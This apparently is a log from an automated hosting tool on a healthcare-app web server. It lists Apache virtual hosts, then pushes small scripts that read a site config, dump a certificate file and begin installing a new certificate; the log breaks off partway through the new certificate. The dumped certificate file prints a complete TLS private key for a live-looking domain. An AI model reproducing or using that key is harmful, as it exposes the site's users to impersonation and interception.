port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
alias www.patientapps.net
port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
alias store.patientapps.com
alias store.patientapps.co
port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
*:443 is a NameVirtualHost
default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
alias myapp.care
port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
alias www.cn-dego.myapp.care
port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
alias www.d-oak.myapp.care
port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
alias www.ma1-acrp.myapp.care
port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
alias www.ma1-anfr.myapp.care
port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
alias www.ma1-anin.myapp.care
port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
alias www.ma1-ankp.myapp.care
port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
alias www.ma1-anrp.myapp.care
port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
alias www.ma1-arcr.myapp.care
port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
alias www.ma1-asst.myapp.care
port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
alias www.ma1-chel.myapp.care
port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
alias www.ma1-cybb.myapp.care
port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
alias www.ma1-dego.myapp.care
port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
alias www.ma1-epas.myapp.care
port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
alias www.ma1-fass.myapp.care
port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
alias www.ma1-ldhr.myapp.care
port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
alias www.ma1-lsst.myapp.care
port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
alias www.ma1-mtfp.myapp.care
port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
alias www.ma1-mvrc.myapp.care
port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
alias www.ma1-octf.myapp.care
port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
alias www.ma1-ovin.myapp.care
port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
alias www.ma1-pfer.myapp.care
port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
alias www.ma1-prls.myapp.care
port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
alias www.ma1-rcl.myapp.care
port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
alias www.ma1-rorp.myapp.care
port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
alias www.ma1-savr.myapp.care
port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
alias www.ma1-shem.myapp.care
port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
alias www.ma1-sspr.myapp.care
port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
alias www.ma1-tosr.myapp.care
port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
alias www.ma1-tylo.myapp.care
port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
alias www.ma1-typa.myapp.care
port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
alias www.ma1-tyto.myapp.care
port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
alias www.ma1-utfa.myapp.care
port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
alias www.ma1-vasc.myapp.care
port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
alias www.ma1-vasr.myapp.care
port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
alias www.ma2-acrp.myapp.care
port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
alias www.ma2-anar.myapp.care
port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
alias www.ma2-anfr.myapp.care
port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
alias www.ma2-anin.myapp.care
port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
alias www.ma2-anrp.myapp.care
port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
alias www.ma2-buni.myapp.care
port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
alias www.ma2-chel.myapp.care
port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
alias www.ma2-hamm.myapp.care
port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
alias www.ma2-hind.myapp.care
port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
alias www.ma2-lcl.myapp.care
port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
alias www.ma2-mdfu.myapp.care
port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
alias www.ma2-mtfp.myapp.care
port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
alias www.ma2-rcl.myapp.care
port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
alias www.pai-lc.myapp.care
port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
alias 847670.myapp.care
alias 573398.myapp.care
port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
alias www.pai-rco.myapp.care
port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
alias www.sma1-lgb.myapp.care
port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
alias www.sma1-lrygb.myapp.care
port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
alias www.sma1-lsg.myapp.care
port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
alias www.sma1-pcnl.myapp.care
port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
alias www.test.myapp.care
port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
alias www.version2.myapp.care
wild alias *.myapp.care
port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
alias live.patientapps.net
port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
alias www.patientapps.net
port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
alias store.patientapps.com
alias store.patientapps.co
port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-03 06:02:50:
PUT: /tmp/pkp681439
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-03 06:02:50:
chmod 755 /tmp/pkp681439; /tmp/pkp681439; rm /tmp/pkp681439
2025-11-03 06:02:50:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf 1744
<VirtualHost *:80>
ServerName athenahealth.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/athenahealth_access.log combined
ErrorLog /var/log/apache2/patientapps/athenahealth_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.html index.htm index.php index.py
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName athenahealth.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt
SetEnv SIMPLESAMLPHP_CONFIG_DIR /var/simplesamlphp/config
Alias /simplesaml /var/simplesamlphp/www
<Directory /var/simplesamlphp/www>
Require all granted
</Directory>
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/athenahealth_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/athenahealth_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.php index.py
</VirtualHost>
2025-11-03 06:02:50:
PUT: /tmp/pkp574517
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-03 06:02:50:
chmod 755 /tmp/pkp574517; /tmp/pkp574517; rm /tmp/pkp574517
2025-11-03 06:02:50:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt 5389
73:3e:01:9a:9f:07:df:9f:f6:3f:a4:ed:b6:64:ca:cb
-----BEGIN CERTIFICATE-----
MIIFFDCCA/ygAwIBAgISBs+wqtgmKVX0k81flKUudxFFMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTAzMDUwNDE2WhcNMjYwMjAxMDUwNDE1WjAnMSUwIwYDVQQD
ExxhdGhlbmFoZWFsdGgucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAyieJd3MlWlj2QxHZDZ1/xz95gvJ9uosu5reyrHl+CmJ+
olPbLtAoTyQ4AANcpszuiewJzFzK4TAj/M8L+5AcfVlifaRvAZduY4P5McFaUr/W
rj3xgpQk1giwJ9qWJetHwL73S5zFo9TCguLZLd6MCmBrN5UInEaqdpJVTKvtq2zN
a4uqgvyf1ei3omrH39+NbSwojEFEiLlTOPT4er/ae7ndavNKy+VeDRurZns6idB2
5pDyB8CBMVnpovaR7EHkSbf77qQG0U+g5XUtnmqMrPfxmHTu9AZUzoiIt0Se4GQJ
87KrD1qET2s+sBBf/v5AppK5dU3eyogeEFy9+gqIAwIDAQABo4ICLDCCAigwDgYD
VR0PAQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNV
HRMBAf8EAjAAMB0GA1UdDgQWBBT3I/QW+MVHmfWksbZVBeS8xfk+CTAfBgNVHSME
GDAWgBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYB
BQUHMAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCcGA1UdEQQgMB6CHGF0aGVu
YWhlYWx0aC5wYXRpZW50YXBwcy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYD
VR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy83MC5jcmwwggEE
BgorBgEEAdZ5AgQCBIH1BIHyAPAAdgBkEcRspBLsp4kcogIuALyrTygH1B41J6vq
/tUDyX3N8AAAAZpIT5cuAAAEAwBHMEUCIFzpUhixoGFxM28scR6zQ6LKtkekn1Dk
1jNXtQtuHhSjAiEAlIpJURsDt1Zx0BUEofW964qFpZagu0wL66+2XfTjLE0AdgAO
V5S8866pPjMbLJkHs/eQ35vCPXEyJd0hqSWsYcVOIQAAAZpIT58VAAAEAwBHMEUC
ICOeYEx9x1RdAHdzs550mll4w1OnOCTELendNqf8XoDIAiEA2A8gospobPYKPKWX
/OBOIwIZPqyM2t5RNX1chmKAP0AwDQYJKoZIhvcNAQELBQADggEBAHMcsG7EHuLZ
2aeSeEf+Gu/3OSTgqdjw1tx3G1mcD/zdWN4rQ4RYP4NhJJPiry/Hz/Uu6mGrFkt5
nCMQ5e/NkSJIkM534ECHn6Td7GXpnxWRCSJQuqeDpsS8Bl9MeBLf6Sk5YaZjzFHk
dilBhxHwQHh37cnPhX6tIfm7PYrKVq/goY+mUlkUcJXCXvfeooRZfx9QFDkAc3pg
WnhvhIM5qReaDYXGI5f0eDht//Z6ElPeX03X1A+pZNc2yj1tfBY1QB8SArAlfliP
v76Jytp5K4JHunhNW78qIpnjBUo5c7CWZIaqtabXwvWGJnyg4L4pPRvyKYLeNgFX
ciCKVae5TFg=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDKJ4l3cyVaWPZD
EdkNnX/HP3mC8n26iy7mt7KseX4KYn6iU9su0ChPJDgAA1ymzO6J7AnMXMrhMCP8
zwv7kBx9WWJ9pG8Bl25jg/kxwVpSv9auPfGClCTWCLAn2pYl60fAvvdLnMWj1MKC
4tkt3owKYGs3lQicRqp2klVMq+2rbM1ri6qC/J/V6Leiasff341tLCiMQUSIuVM4
9Ph6v9p7ud1q80rL5V4NG6tmezqJ0HbmkPIHwIExWemi9pHsQeRJt/vupAbRT6Dl
dS2eaoys9/GYdO70BlTOiIi3RJ7gZAnzsqsPWoRPaz6wEF/+/kCmkrl1Td7KiB4Q
XL36CogDAgMBAAECggEBALwLqSkvOEjhxjo/iPvMTYdnuT2hGmmDfR5rNM6RuTgp
xQh1HsdeJJDx7RG+DtqueRpdMgQjMSnmYSOS6d+Zf5bupdqgMg518d6qbgzlgoLF
JwswXc8MxXM/47U+9TrSsQ1P1rREYejzSfj80e+EPBqO9E1g2gCdD4Z6utQ2fkBd
ryYSjZ8Kg8HATcRPpphVjJPQHMDM9dCP1B9xWjknCjjblqleP9N1q07CtM2oydMz
C9sWGClN0rPUWJrx/AS4ANxyT3Vex3iWBKyKxRM7z9Voose7PSzyhoDclTukDGbz
n7RhFmy5P+QzVHaGL+kQ4zQRqjSBGinx71s6oZRYkPkCgYEA6KEGKPhbkoXU+/Ec
b9+CknF5B4TWCiY6bgv2O4F4ter6TAXU+n2qZnaLXVQCgTRdvdbSSLv+MVNNYB3R
DH6IevKODHurzMBHeVZXijtn85oH+LB+GBMGtuhcxcWmQQ4YWavnGl41/HVVPnJt
8r8h3le2AX8a2ZhF6tlBm3dEac8CgYEA3na9LD1By/ERgWEEug3tHdCKe19WAJvo
2jxLktch7nmemfykF9oSghc++sUNJ0mYGbC4QI9wTwMesnuVFVSUNkEmiMp6KUfQ
Po9u3LG0dSpEPPus7a4eAltIssE0Pg3TCnWwmj7/4qE6F0MC0bL3xlOPzKjBTjV0
LbFJt9Us740CgYEAn3J/PmW8nlmM+oLw8t1IKggM5NJvwtUhB3y7cV301vwQQztc
F7U6rrBiJb4HWXgDKLOtvpzcRgLK7i6BswanlV3bb0L1JopEcy5zIhRF0/qnrBWM
2ANyfrwVmpk2szBuEEh7Rt98MWZa30qfgdrv4+5Kmgv841gz1BzFk0HUapECgYAH
ngE0NpS+Ku7ygyPqSvfHgZB8UPNc6fm7Hz1nNb6Pr9Jia2gi+PCRS8J4S677nWV7
27UzYLXzvqOacOjV5iN9CBYNsQEl0LOssLSXEe6f5GaZv/RX3xJf+kgu9raXOVn0
jbsSTP3uAJ9AlKbQD1S0kb/mvhCAYQwtVFi11rLHMQKBgQCCOlKThMW1TDBpsoQn
HheIL8+OFBeg9LrlLeZe0wrizo0//jmjRLj+FMSKyX0a8OdTrhJ/KWeIFDlLRWC1
CpHQw8/PS9m/Kp8+WdIqNCmp2DYo7XyEeBX5ZEZ4C81dsAwZ4P/gQldfhTyujP5M
QnN4IrvAzV9HV1vQDRhN3uzR0A==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-11-03 06:02:50: Establishing a connection
2025-11-03 06:02:50: Establishing a connection
2025-11-03 06:02:50:
PUT: /tmp/pkp455720
#!/bin/bash
if [ -d "/var/www/patientapps_preview/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-03 06:02:51:
chmod 755 /tmp/pkp455720; /tmp/pkp455720; rm /tmp/pkp455720
2025-11-03 06:02:51:
0
2025-11-03 06:03:15: Establishing a connection
2025-11-03 06:03:15:
PUT: /tmp/pkp949460
#!/bin/bash
temp_file=$(mktemp)
TARGET=47e838c5d6fc754b55478008ec934de1.crt
cat > $temp_file <<'endmsg'
64:5e:d9:bb:50:03:d7:3e:c2:27:9b:0d:de:82:e3:19
-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBoR5yQzAUvBd0RrpjlswcynQMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTAzMDUwNDQ0WhcNMjYwMjAxMDUwNDQzWjAiMSAwHgYDVQQD
ExdwcmV2aWV3LnBhdGllbnRhcHBzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBALo874QPa7C0Wy4ehcI8NvkpvM5VnWo+ZiPRPqvSJ1i8eNI/faNp
qhxVJxHZgc968WB87GIRfNjPa3snzteXOZGLzhq+6en9wv1hdtmgWKaqjDKulH//
3TSwjxZEkLzuKh5n4z4YK/dqYJsMrqy4zoo7bCzUC3phGIjPiJSXXmNz06eXyNe5
ha1qP8r/IZEvbhUiyd8VyzwQZ+1R/fVmG37HCqiISa3QHzXCPTtM3+XNb6c6fTJr
QS+5zFcv/SB0yKf7y8nxrXk0SUMGAxl5UlwsaElh6WFi+mzeOtoRt4E7a3mjvGWZ
9vFUAuN8z8+104ftuXbPGmNbSlfYF0xtWW8CAwEAAaOCAiYwggIiMA4GA1UdDwEB
/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/
BAIwADAdBgNVHQ4EFgQUO9HJ2StIOPPGLJYlWDuK74qkbGwwHwYDVR0jBBgwFoAU
56ufDywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAC
hhdodHRwOi8vcjEzLmkubGVuY3Iub3JnLzAiBgNVHREEGzAZghdwcmV2aWV3LnBh
dGllbnRhcHBzLm5ldDATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8vcjEzLmMubGVuY3Iub3JnLzgxLmNybDCCAQMGCisGAQQB1nkC
BAIEgfQEgfEA7wB1AEmcm2neHXzs/DbezYdkprhbrwqHgBnRVVL76esp3fjDAAAB
mkhQBDwAAAQDAEYwRAIgbV09mp6DSr8CXqo/p66+NFW1aFiZtw0SNXEHfcuFyDkC
